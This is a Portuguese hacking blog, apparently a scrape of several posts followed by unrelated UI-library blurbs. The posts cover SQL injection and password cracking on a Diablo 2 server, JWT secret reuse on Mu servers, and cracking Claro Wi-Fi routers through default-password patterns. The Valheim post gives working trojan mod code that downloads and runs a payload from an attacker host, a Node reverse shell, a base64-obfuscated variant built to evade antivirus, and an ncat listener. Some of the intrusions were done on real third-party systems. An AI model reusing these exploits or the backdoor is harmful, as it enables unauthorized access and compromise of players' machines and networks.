
No ultimo mes descobri que existem servers piratas de Diablo 2, eu conhecia o Diablo 3 online e joguei o 4 no ano passado, mas nunca parei pra pensar se existia algum server de Diablo 2. E sim, existem vários.

Fiquei sabendo por um amigo que existem alguns, inclusive um bem grande que é administrado por um brasileiro. Resolvi baixar por curiosidade pra entender como que funciona, pois até então, desde criança eu só tinha jogado o single player dele e o remaster que fizeram do Lords of Destruction, e que baita jogo é Diablo 2.

Inclusive um bom tempo atrás eu codei um [script](https://github.com/nebuladevs/pcx-to-spritesheet) pra extrair alguns sprites do jogo.

---

Comecei a achar estranho que pra criar uma conta, não era possível criar pelo site, mas pelo site você pode logar e tem até um esquema de leilão bem interessante. Bom, fiz o cadastro aleatório pelo menu do jogo e criei um char.

![alt](/diablo/polarx.png)

Depois loguei no site e comecei a explorar as funcionalidades do site.

![alt](/diablo/personagens.png)

Vi que o back é em php, o usuário logado é controlado por um cookie PHPSESSID. E comecei a procurar juicy infos nos arquivos js, encontrei algumas rotas de rankings (geralmente é aqui que tem o ouro), mas foi na rota de detalhes dos clãs que encontrei o seguinte:

![alt](/diablo/sqlerr.png)

---

Vi que não tinha mais nada de interessante nos arquivos publicos do site e resolvi explorar o que tinha no banco

![alt](/diablo/dbs.png)

Achei curioso o nome do db "pvpgn", pesquisei no google e encontrei um [site](https://pvpgn.pro/). Se trata de um código aberto pra você criar servers de Diablo. Guarda essa informação, lá na frente vamos conseguir explorar mais coisas...

Fui dando uma olhada nas tabelas e encontrei duas interessantes

|                           |                        |
| :-----------------------: | :--------------------: |
| ![](/diablo/sessions.png) | ![](/diablo/users.png) |

Dei uma navegada na tabela web_users_access e encontrei o registro do meu usuário e confirmei que o valor da coluna php_session era o mesmo do meu cookie PHPSESSID.

Já a tabela pvpgn_BNET, eu resolvi procurar direto no código do servidor que tem disponível no [github](https://github.com/search?q=repo%3Apvpgn%2Fpvpgn-server%20pvpgn_BNET&type=code) e associando uma coisa na outra a gente entende que essa é a tabela que são salvas as contas, ai entendi que deixaram pra criar a conta pelo client do jogo e não pelo site, simplesmente por conveniência.

Explorando mais um pouco a web_users_access, notei que tinham vários registros de acessos dos usuários, então fiz uma query na tabela buscando por usuários salvos como admins

![alt](/diablo/admins.png)

Pelo nome da coluna da hash das senhas, eu presumi que elas fossem sha1, não tentei decriptar logo de cara, fui dar uma olhada no fonte do server pra ver como ele criava essa hash e encontrei a [seguinte função](https://github.com/pvpgn/pvpgn-server/blob/fcdf00fedfd79a041e1a7b2f20c8d15995b0a762/src/common/bnethash.cpp#L187)

![alt](/diablo/hash_codigo.png)

Eu não manjo nada de c++, o que fiz foi usar o que eu tinha a disposição. Fiz uma query no banco buscando pelo meu usuário e vi que a senha 123456 era o hash 3a9fb1381f4a6c0ec1a1f97a74bccea69aac8900. Então clonei o código do server, pedi para o claude code criar uma versão da função bnet_hash do c++ em python e fui adaptando até conseguir gerar a hash pelo script

![alt](/diablo/hash.png)

Então fiz uma query no banco buscando pelo username e a hash da senha. Depois pedi novamente pro claude gerar um script de brute force com base numa wordlist simples:

![alt](/diablo/wordlist.png)

A ideia era gerar uma hash pra cada senha da wordlist e comparar com a lista de usuários que eu encontrei no banco:

![alt](/diablo/crack.png)

O claude deu uma colorida nos logs pra ficar maneiro, mas olha que engraçado. Uma dessas 467 senhas encontradas, era a senha de um usuário admin e a senha era **999**.

Loguei na conta dele pelo jogo, mas infelizmente não tinha nenhum char criado, criei um e fui testar os comandos admin que tem no [código do server](https://github.com/pvpgn/pvpgn-server/blob/fcdf00fedfd79a041e1a7b2f20c8d15995b0a762/conf/command_groups.conf.in#L117) mas parece que essa conta mesmo sendo admin, não tinha os privilégios desses comandos (coluna auth_command_groups)

![alt](/diablo/admin-fail.png)

---

No frontend é outra história, loguei nessa conta da senha **999** e acessei o painel de administração. Não fiz nada, mas lá dentro é possível enviar imagens (que inclusive tem como dar bypass na extensão 👀, entendedores entenderão), é possível transferir cash para jogadores, criar noticias com banners, eventos... enfim, as possibilidades de fazer m são grandes.

![alt](/diablo/panel.png)

Reportei pro dono do server, ofereci ajuda pra explicar como corrigir, mas não recebi respostas até hoje, aparentemente o server ta parado tem no máximo 4 jogadores diários no server.

É isso, falous...

![alt](/diablo/tchau.gif)


BNET_H4$H


Recentemente encontrei um servidor de Mu, mas ele não tinha aquela interface padrão de servidor de Mu, quem já jogou sabe do que eu to falando. Comecei dando uma olhada nas chamadas que o site fazia e vi que ele enviava as requests pra uma API. Comecei a testar a API e forçando alguns erros vi que o servidor era em php usando o framework Slim.

![alt](/mu/slim.png)

Bom, se alguns erros não são tratados, em algum outro lugar deve ter alguma falha pra explorar.

Comecei a testar as rotas que encontrei e encontrei algo que poderia ser uma ponte para conseguir informações sensíveis do servidor. 

```javascript
$(function() {
    var params = $.getQueryParameters();
    if (!params.ranking) {
        return;
    }

    var ranking = $("#ranking");
    ranking.removeClass("ui");
    ranking.removeClass("message");

    ranking.attr("data-template", "rankings/" + params.ranking + ".html");
});
```

Na página onde mostra os rankings, basicamente você seleciona uma opção num menu e esse menu tem o nome do arquivo que vai ser carregado.

Quando essa função é chamada, ela pega o nome do arquivo e tenta carregar o arquivo que está na pasta rankings e adiciona a extensão html. Fiz alguns testes, é possível fazer uma enumeração dos arquivos que existem no servidor.

Uma vez que alguma configuração do servidor bloqueia o acesso aos arquivos, sabemos que quando recebemos um 403, o arquivo existe mas não temos permissão pra acessar. Quando recebemos um 404, o arquivo não existe.

![alt](/mu/lfi.png)

Nesse exemplo eu forcei a página carregar o index.html da raiz do servidor. Tentei fazer bypass com os arquivos que retornam 403 mas não foi possível.

---

Analisando os subdominios do servidor, encontrei um subdominio de outro servidor de Mu. Dei uma olhada no site e nos arquivos do projeto e era basicamente o mesmo projeto, só mudava a cor.

Criei uma conta nos 2 servidores, e no subdominio "hard" até criei um char pelo client do jogo. Quando loguei nas duas contas, vi que o token JWT era o mesmo para ambas as contas, ou seja, era usado o mesmo secret para gerar o token em cada servidor.

---

Dando uma olhada na estrutura do payload do JWT, vi que ele tinha duas informações que poderiam ser usadas para buscar os dados do usuário no banco de dados.

```json
{
    "user": "20matar70correr",
    "email": "email@test.com"
}
```

Iniciei uma busca na lista de ranking, mas como ela exibe apenas os nomes dos personagens, precisei encontrar uma maneira de verificar se esses nomes também correspondiam a contas registradas no servidor.

![alt](/mu/ranking.png)

Foi quando encontrei esse personagem: tonybalada. Para validar eu tentei criar uma conta com esse nome.

![alt](/mu/cadastro.png)

> Depois dessa mensagem, eu já não estava considerando o e-mail como uma chave de busca no banco

---

Após realizar o login no servidor "easy" copiei o token do localStorage e usei esse mesmo token no servidor hard. Assim a api de autenticação validou o token por ambos os servidores utilizarem a mesma secret e conseguiu fazer a busca do usuário pois utilizei no easy o mesmo nome de uma conta que existe no hard.

Essa era a tela de personagens no subdominio "easy"

![alt](/mu/lista-easy.png)

E essa era a lista de personagens no subdominio "hard"

![alt](/mu/lista-chars.png)





3vil $p1r1t


Já adianto que essa falha é conhecida tem pelo menos uns 7~8 anos de acordo com alguns repositórios que encontrei no Github. Minha ideia neste post é demonstrar como foi o meu processo de entendimento e exploração da falha.

---

Uns 2 anos atrás eu estava fazendo um teste com um adaptador wifi (Alfa AWUS036NH) e acabei encontrando um padrão entre o BSSID (Mac Address) de uma rede wifi, com o ESSID (Nome da rede wifi) e a senha da rede.

Analisando esta imagem que peguei da internet, tente dar uma olhada em todas as informações e veja se você consegue encontrar alguns padrões peculiares.

![alt](/claro/claro.webp)

Doidera, né!?

```text
Rede: CLARO_2G584D19
Senha: 67584D19

Usuário do Roteador: CLARO_584D19
Senha do Roteador: B4F267584D19
```

Se você tiver uma placa de rede ou adaptador de rede que suporta o modo de monitoramento, você consegue monitorar os pacotes que as redes wifi enviam e assim ter acesso aos seus respectivos BSSIDS e nome da Rede, basicamente com isso você consegue invadir a rede wifi e ainda por cima acessar o roteador.

Na imagem ele mostra o CM MAC e o EMTA MAC, em resumo o CM MAC é o mac address usado para conexão com a internet e o EMTA MAC é o mac address usado pra VOIP, isso se o roteador suportar essa funcionalidade.

---

Tendo essas informações em mãos, vamos a campo para validar a teoria. O adaptador de rede que eu uso é este aqui, e a posição ideal pra capturar mais redes da CLARO e NET foi pendurando ele na grade de proteção da janela kk

|                        |                        |
| :--------------------: | :--------------------: |
| ![](/claro/alfa1.jpeg) | ![](/claro/alfa2.jpeg) |

No meu caso, eu tentei utilizar o adaptador com várias distros do linux pelo WSL mas infelizmente não rolou. A única forma que consegui foi criando uma máquina virtual pelo VMWare, no caso escolhi o Kali por já vir com uma porrada de ferramentas.

Depois de instalar os drivers do adaptador e tudo estiver rodando. Ele aparecerá mais ou menos assim:

![](/claro/image.png)

Depois precisamos setar o adaptador para o modo de monitoramento, para isso vamos usar a ferramenta airmon:

![](/claro/wlan0mon.png)

Notem que agora o adaptador mudou para wlan0mon e o Mode mudou para Monitor.

O próximo passo é começar a listar as redes wifi próximas, onde vamos associar o BSSID (Mac Address) com o nome da rede. Para ficar mais fácil a listagem, vamos usar o airodump e utilizar um regex simples como filtro:

```bash
sudo airodump-ng wlan0mon --essid-regex (CLARO_|NET_)
```

![alt text](/claro/listbssids.png)

> Escondi o nome de algumas redes que possuem nomes de pessoas reais.

A rede que vou usar no teste é a CLARO_2G290F5C por conta da quantidade de Beacons que a rede está enviando. Entenda Beacon como pacotes que o access point fica enviando periodicamente (a cada 100ms) pelo ar, para que quando você abra seu celular e procure um wifi, essa rede apareça na tela de listagem de redes.

O próximo passo é tentar capturar o handshake ou PMKID, primeiro vou demonstrar utilizando o handshake e no final um exemplo com o PMKID.

---

De forma resumida, sempre que nos conectamos com uma rede wifi, rola um handshake de 4 vias.

1. O access point (rede wifi) envia para o client (dispositivo) um número aleatório chamado ANonce.
2. O client gera um número aleatório chamado SNonce e calcula o PTK (Pair Transient Key) usando o PMK (Pairwise Master Key) e os endereços MAC do client e do access point e depois envia o SNonce para o access point.

```bash
PMK = PBKDF2-HMAC-SHA1(senha_wifi + SSID, 4096 iterações) #lembrando que SSID é o nome da rede
PTK = PRF-512(PMK + ANonce + SNonce + MAC_AP + MAC_Client)
```

3. O access point, agora tem o SNonce, gera o PTK da mesma forma que o client gerou e envia uma mensagem criptografada para o client para confirmar.
4. O client confirma que recebeu a mensagem e a comunicação com a rede wifi é feita.

Continuando a utilizar os componentes do aircrack, com o airodump nós conseguimos "escutar" as conexões com esse access point e utilizando o aireplay, conseguimos forçar a desautenticação dos clients conectados nesse access point e assim forçar eles a logarem novamente na rede, nesse processo nós conseguimos capturar esse handshake de 4 vias.

E nesse handshake, nós capturamos o ANonce, SNonce e os MACs do client e access point. Dessa forma, conseguimos usar posteriormente uma outra ferramenta que fará a força bruta utilizando uma lista de senhas nessa formula que passei acima.

Então sempre que ele gerar um PTK, ele irá comparar com uma informação criptografada no arquivo do handshake chamada MIC, se essa hash bater com o MIC então a senha está correta. A pessoa que descobriu isso é gênio demais, agradeço por poder replicar de forma mínima o que ele/eles descobriu.

---

```bash
sudo airodump-ng -w capture -c 1 --bssid A0:FF:70:29:0F:60 wlan0mon
```

![alt text](/claro/handshake.png)
![alt text](/claro/deauth.png)

O handshake só irá aparecer quando algum client logar na rede, nesse print eu tive sorte de ter esquecido o comando de deauth rodando antes de começar a capturar os pacotes da rede. Assim quando eu comecei a ler os pacotes um usuário logou na rede pois tinha caído antes.

Agora que temos o handshake capturado (foi criado um arquivo chamado capture-01.cap), vamos gerar uma wordlist para trabalharmos. De acordo com a imagem que vimos lá no começo, a senha será os ultimos 8 caracteres do MAC Address do access point. Porém no caso desse modelo do roteador, notei que o nome da rede **CLARO_2G290F5C** possui os dois ultimos caracteres diferentes do MAC **A0:FF:70:29:0F:60**.

Eu presumo que talvez, para essa versão do roteador eles tentaram "resolver" essa questão do nome e senha padrão ter relação direta com o MAC. Porém se for isso, falharam. Basicamente aqui eu gerei a wordlist seguindo o padrão do nome da rede.

---

Para gerar a wordlist, eu sempre utilizo a ferramente chamada [Crunch](https://www.kali.org/tools/crunch/). O comando que utilizei foi:

![alt text](/claro/crunch.png)

![alt text](/claro/wordlist.png)

No comando, eu digo que quero gerar uma senha de tamanho mínimo e máximo de 8 caracteres, utilizando o alfabeto e números de 0 à 9 com o seguinte padrão: @@290F5C. Onde existe o @@ serão substituidos por números e letras aleatórios. Eu configurei dessa forma, pois após analisar algumas senhas padrão de roteadores da Claro, vi que são sempre 8 caracteres sendo que são os ultimos 6 do nome da rede e em alguns casos são os ultimos 8 caracteres do MAC Address.

Com a wordlist pronta, agora basta utilizarmos o aircrack para fazer todo aquele processo de geração da hash do PTK e fazer a comparação com o MIC do handshake.

![alt text](/claro/cracked.png)

E chegamos na senha da rede. E sim, boa parte dela está no próprio MAC Address do access point.

---

Agora um resuminho sobre a técnica do PMKID. O PMKID é um identificador que podemos capturar em um handshake e podemos usar para tentar fazer o cracking da senha da rede sem precisar do handshake de 4 vias.

Quando um dispositivo tenta se conectar a uma rede, o access point envia de forma criptografada para o client o PMKID que possui a seguinte função:

```bash
PMKID = HMAC-SHA1(PMK + "PMK Name" + MAC_AP + MAC_cliente)
```

Ou seja, de certa forma é uma técnica mais rápida e simples porém o tipo de ponto de acesso, configuração da rede, capacidade do roteador e até o ambiente de monitoramento podem influenciar se você vai conseguir capturar ou não. Abaixo vou apresentar um ambiente de sucesso que consegui.

![alt text](/claro/captured.png)

Diferente do caso do handshake, nós temos que converter o arquivo .cap para .pcap, para isso usamos o editcap.

![alt text](/claro/pcap.png)

A partir disso, usamos a ferramenta hcxpcapngtool para gerar um arquivo no formato hc22000. Esse formato é necessário pois ele é gerado de forma estruturada para o ataque de força bruta, o hcxpcapngtool já elimina informações desnecessárias do arquivo e estrutura os dados que serão usados no ataque de forma que otimiza os testes.

![alt text](/claro/hash.hc22000.png)

Após a geração do arquivo, utilizei o hashcat pra fazer o cracking

![alt text](/claro/cracked2.png)

Notem que a rede é diferente dos outros prints, por falha minha eu perdi a posição que o adaptador estava e eu perdi a conexão com a rede antiga, ai precisei procurar outras redes, testar todas elas para esse caso do PMKID. Mas em resumo os passos são os mesmos.

---

Voltando para a primeira rede que descobrimos a senha. Agora vamos testar se o login e senha do roteador também segue esse mesmo padrão.

![alt text](/claro/login.png)

Fiz o teste seguindo o padrão da imagem lá do começo:

- Login: CLARO\_(6 caracteres do MAC)
- Senha: MAC Address

```bash
 user: CLARO_290F60
 pass: A0FF70290F60
```

E não funcionou, porém eu só alterei os 2 ultimos caracteres seguindo o padrão do nome da rede e bum.

```bash
 user: CLARO_290F5C
 pass: A0FF70290F5C
```

![alt text](/claro/claro_que_entramos.png)

---

Fica a dica pra quem não trocou a senha padrão :)

Repositórios que encontrei falando sobre o mesmo assunto:

- [DPWO](https://github.com/caioluders/DPWO)
- [VulnDefaultPass_WiFi](https://github.com/matheuslaidler/VulnDefaultPass_WiFi)
- [WIHACK](https://github.com/GlitchYou/WIHACK)
- [claro-wifi-pass-solver](https://github.com/altmas5/claro-wifi-pass-solver)


CLARO_NzA3NzZF


O jogo que eu tenho mais horas na steam é Dota 2, tenho exatamente 6.074,8 horas e para quem não sabe, ele surgiu a partir de um mapa customizado do Warcraft 3. Vale ressaltar que o dev Eul, só teve essa ideia de criar o mapa no Warcraft depois de conhecer o mapa customizado Aeon of Strife do Starcraft. Depois de muito sucesso no começo dos anos 2000, alguns devs que cuidavam do projeto DotA sairam e criaram outros jogos no mesmo estilo (Moba), como League of Legends e Heroes of Newerth. Depois de um tempo a Valve contratou o dev que mantinha o Dota e assim surgiu o Dota 2.

Pra quem conhece esses jogos sabe o quão grande eles se tornaram, rendendo campeonatos que pagam mais de U$20mi ao time vencedor. Então, sabemos o potencial que modificações possuem tanto para desenvolver novos estilos de jogos como manter vivo um jogo além de sua história principal.

---

Em 2021 foi lançado o jogo Valheim, se trata de um RPG Survival Sandbox. O objetivo principal do jogo é você derrotar todos os Boss que existem num mundo gerado a partir de uma seed. Para quem não conhece, a seed é um conjunto de caracteres que são usados para fazer um cálculo na hora de gerar um mundo.

O jogo em si é perfeito pra quem gosta dos genero survival e RPG, porém sempre que joguei com alguns amigos nós comentavamos que faltavam algumas coisas. Como magias, melhorar a estabilidade da mira do arco e flecha e etc ...

Comecei a estudar sobre como criar modificações, cheguei a criar um mod que era um complemento de outro mod que adicionava magias. O mod que criei está no Github e ele adiciona as potions de Mana no jogo, criando um desafio a mais para não ficar spammando magias pra qualquer lado.

https://github.com/nulldreams/valheim-mana-potion

Na época eu cheguei a criar um mod de teste que forçava abrir a calculadora do Windows quando você apertava espaço para pular. Mas só funcionava com o Windows Defender desligado. Agora em 2023 resolvi voltar e continuar fazendo mais testes de segurança com os mods desse jogo.

---

Alguns jogos como Dota 2, Counter-Strike e Warcraft 3, possuem interfaces de modificações disponibilizadas pela empresa desenvolvedora. Qual o beneficio disso? Eles conseguem manter a comunidade de jogadores diversificada, pois nem todos jogam o jogo original, como no caso do Dota 2, a maior parte dos jogadores ativos, jogam os mapas customizados; E também criam uma barreira de segurança, afinal, não da pra confiar 100% que os mods serão apenas versões divertidas e seguras.

Já com o Valheim, foi a comunidade de desenvolvedores da Unity que criaram um meio de campo para criar os mods. Você pode encontrar uma explicação mais detalhada [neste link](https://valheim-modding.github.io/Jotunn/guides/overview.html).

Em resumo, eles fornecem um software e uma biblioteca. A biblioteca possui recursos para programarmos os mods que serão compilados em uma dll e depois através do software deles, serão injetados em tempo de execução no jogo. Pra quem conhece um pouco da engine [Unity](https://unity.com/pages/unity-pro-buy-now), lembra que existem algumas funções padrões da engine, como Awake, Start, etc ... Nos mods nós criamos as funções da mesmas forma.

---

### Organizando a prova de conceito

Sabendo que o fluxo de injeção de mods funciona de acordo com a imagem abaixo.

![](/mod/flow1.png)

Escrevi um mod que injeta na função _Awake_ do jogo, um código que faz o download do vírus que escrevi em Node e depois executa ele. Eu segui pelo caminho de baixar o virus, pois no C# EU acho mais dificil burlar as detecções dos anti-virus. Já no node eu consigo burlar facilmente, dessa forma o MOD serve como um cavalo de troia, como ele é um arquivo teoricamente seguro, o anti-virus não vai barrar ele de fazer o download de um arquivo. Já esse novo arquivo, ele sim é perigoso mas ele sabe andar por caminhos onde ele não é pego kk

![](/mod/hackerflow.png)

Código em C#

```csharp
using BepInEx;
using Jotunn.Entities;
using Jotunn.Managers;
using System.Diagnostics;
using System.Net;
using System;

namespace JotunnModStub
{
    [BepInPlugin(PluginGUID, PluginName, PluginVersion)]
    [BepInDependency(Jotunn.Main.ModGuid)]
    //[NetworkCompatibility(CompatibilityLevel.EveryoneMustHaveMod, VersionStrictness.Minor)]
    internal class JotunnModStub : BaseUnityPlugin
    {
        public const string PluginGUID = "com.jotunn.jotunnmodstub";
        public const string PluginName = "JotunnModStub";
        public const string PluginVersion = "0.0.1";

        // Use this class to add your own localization to the game
        // https://valheim-modding.github.io/Jotunn/tutorials/localization.html
        public static CustomLocalization Localization = LocalizationManager.Instance.GetLocalization();

        private void Awake()
        {
            // Jotunn comes with its own Logger class to provide a consistent Log style for all mods using it
            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");

            string url = "https://attacker-machine/calc.exe";
            string destino = "calc.exe";

            using (WebClient client = new WebClient())
            {
                try
                {
                    client.DownloadFile(url, destino);
                    Jotunn.Logger.LogInfo("Download concluído!");

                    Process.Start(new ProcessStartInfo
                    {
                        FileName = destino,
                        UseShellExecute = true
                    });
                    // Executar o arquivo após o download
                    Jotunn.Logger.LogInfo(destino);
                }
                catch (Exception ex)
                {
                    Jotunn.Logger.LogInfo($"Ocorreu um erro durante o download: {ex.Message}");
                }
            }

            Jotunn.Logger.LogInfo("POC Valheim Backdoor Mod");
            // To learn more about Jotunn's features, go to
            // https://valheim-modding.github.io/Jotunn/tutorials/overview.html
        }
    }
}
```

O código do vírus é bem simples

```javascript
;(function () {
  var net = require("net"),
    cp = require("child_process"),
    sh = cp.spawn("cmd", [])
  var client = new net.Socket()
  client.connect(port, host, function () {
    client.pipe(sh.stdin)
    sh.stdout.pipe(client)
    sh.stderr.pipe(client)
  })
  return /a/
})()
```

Pra deixar ele indetectavel, eu simplesmente encodei ele 2x com Base64 e depois fiz o decode para string e executei com a função _eval_ do javascript. Depois gerei um executável usando o [pkg](https://github.com/vercel/pkg). Seguindo exatamente o que fiz no post [drocsid](/posts/drocsid).

```javascript
eval(
  Buffer.from(
    Buffer.from(
      "T3lobWRXNWpkR2x2YmlBb0tTQjdDaUFnZG1GeUlHNWxkQ0E5SUhKbGNYVnBjbVVvSjI1bGRDY3BMQW9nSUNBZ1kzQWdQU0J5WlhGMWFYSmxLQ2RqYUdsc1pGOXdjbTlqWlhOekp5a3NDaUFnSUNCemFDQTlJR053TG5Od1lYZHVLQ2RqYldRbkxDQmJYU2tLSUNCMllYSWdZMnhwWlc1MElEMGdibVYzSUc1bGRDNVRiMk5yWlhRb0tRb2dJR05zYVdWdWRDNWpiMjV1WldOMEtDY3hNekl3TVNjc0lDY3lMblJqY0M1dVozSnZheTVwYnljc0lHWjFibU4wYVc5dUlDZ3BJSHNLSUNBZ0lHTnNhV1Z1ZEM1d2FYQmxLSE5vTG5OMFpHbHVLUW9nSUNBZ2MyZ3VjM1JrYjNWMExuQnBjR1VvWTJ4cFpXNTBLUW9nSUNBZ2MyZ3VjM1JrWlhKeUxuQnBjR1VvWTJ4cFpXNTBLUW9nSUgwcENpQWdjbVYwZFhKdUlDOWhMd3A5S1NncENnPT0=",
      "base64"
    ).toString("utf-8"),
    "base64"
  ).toString("utf-8")
)
```

Depois abro um terminal do windows, levando em consideração que tenho uma versão do Netcat instalada na máquina. E rodo o comando:

```bash
ncat -lnvp 3000
```

Dessa forma o terminal fica ouvindo uma conexão com a porta 3000 da minha máquina de ataque. Quando o jogo for executado na máquina do jogador, a conexão reversa será feita com esse terminal, dando acesso ao computador da vítima.

---

Computador executando o jogo com o MOD

![](/mod/game.jpg)

Computador de ataque recebendo a conexão reversa

![](/mod/ncat.jpg)

---

### Conclusões

Pode ser sim perigoso usar mods em jogos, mas tudo é uma questão de como você obtem essa modificação. Quando elas estão no Github, você pode ver o código ou você pode optar por baixar de lugares confiáveis como alguns sites que gerenciam esses downloads, eu sempre baixo da [Nexus Mods](https://www.nexusmods.com/) e nunca tive problemas.

Estou entrando em contato com os devs que criaram esse sistema de mods para o Valheim, para explicar esse vetor de ataque. Qualquer novidade vou postando como edições nesse mesmo post.

https://github.com/nulldreams/valheim-reverse-connection


“Fight, build, explore. It all ends in the grave.“

king_v1.dll


No começo desse ano, começaram a aparecer vídeos com o mesmo formato para mim, começou no youtube e depois se estendeu para o instagram. O formato era simples, um vídeo de gameplay (de qualquer jogo) enquanto rolava um audio de whatsapp engraçado ou algum robo lendo prints de posts. Fiquei curioso pra saber como eles eram feitos e se era possível automatizar esse processo. Neste post vou mostrar como é possível escrever um robo que seja capaz de:

- [Fazer scrap e prints do post e comentários do Reddit](/posts/eu-robo-reddit);
- [Gerar arquivos MP3 de leitura dos comentários de um post](/posts/eu-robo-mp3);
- [Produzir um vídeo](/posts/eu-robo-mp4);
- [Publicar automaticamente em uma conta do Tiktok](/posts/eu-robo-upload);

Fiz algumas pesquisas e acabei encontrando alguns repositórios no github que faziam o que eu queria fazer, em ambos os projetos tive que fazer algumas alterações no código deles para poder ver o fluxo funcionar. Depois disso resolvi criar um projeto novo usando a ideia dos dois e publicar aqui explicando os passos dessas automações.

- [tiktok-askreddit](https://github.com/edde746/tiktok-askreddit)
- [Tiktok-uploader](https://github.com/MiniGlome/Tiktok-uploader)

### Stack

Como sempre, utilizei NodeJS e Python. No node eu faço o scrap do Reddit e o upload para o Tiktok. Não fiz tudo no node pois achei muito trabalhoso criar vídeos nele, mesmo usando bibliotecas o resultado não ficava legal e também achei muito mais fácil gerar arquivos mp3 usando as vozes do Microsoft Edge.

---

A ideia do post não é ser original, é deixar claro que vídeos simples (ou não) podem ser automatizados e que talvez o canal daquele vídeo que você curtiu hoje seja gerenciado por um robô.

Obs: Alguns trechos de código optei por colocar pela metade por conta do tamanho, mas todos estão disponíveis no repositório do Github.

Obs 2: Como ficaram grandes as explicações, acabei dividindo por subpaginas, basta clicar nos itens no começo do post e você será redirecionado, depois é possível voltar o post principal no final da página.

---

- [Repositório no Github](https://github.com/nulldreams/tiktomatic)
- [Video Gerado e Postado no Tiktok](https://www.tiktok.com/@aireading/video/7242819346702142726)


“Ava - Isn't it strange, to create something that hates you?“

i, r0b0t


[GitHub](https://github.com/markmead/hyperui)
[Website](https://www.hyperui.dev/)

HyperUI is one of the most popular Tailwind CSS components libraries on GitHub
with around 2.8k stars as of writing this. It's free, is open-source and
features over 250 components across marketing, eCommerce and application UI.

It's built with Next JS, Typescript and Tailwind CSS with components being HTML.
I opted for Typescript as it's an extra layer to prevent mistakes, this is vital
with the project being open-source.

As for the decision to create components in HTML it just makes sense. Even if
you are using JSX, Blade, Liquid... It's all HTML.

As well as components, HyperUI features a blog post that talks about the
following:

- Tips and tricks for Tailwind CSS
- Project updates and announcements
- Related project announcements


HyperUI


[GitHub](https://github.com/markmead/hyperjs)
[Website](https://js.hyperui.dev/)

HyperJS is an open-source collection of Alpine JS components. I built this project based on the annoyance of having to write duplicate Alpine JS logic for different projects.

I've built examples with Tailwind CSS but have limited the UI so that they are presentable within the context of HyperJS, but are not full of Tailwind CSS bloat, this makes them easy to drop into any project.

I also use HyperJS as a platform to showcase off plugins that I and others have built for Alpine JS.

The website is built with Next JS and Tailwind CSS.


0x00dreams

Últimos Posts

BNET_H4$H

3vil $p1r1t

CLARO_NzA3NzZF

king_v1.dll

i, r0b0t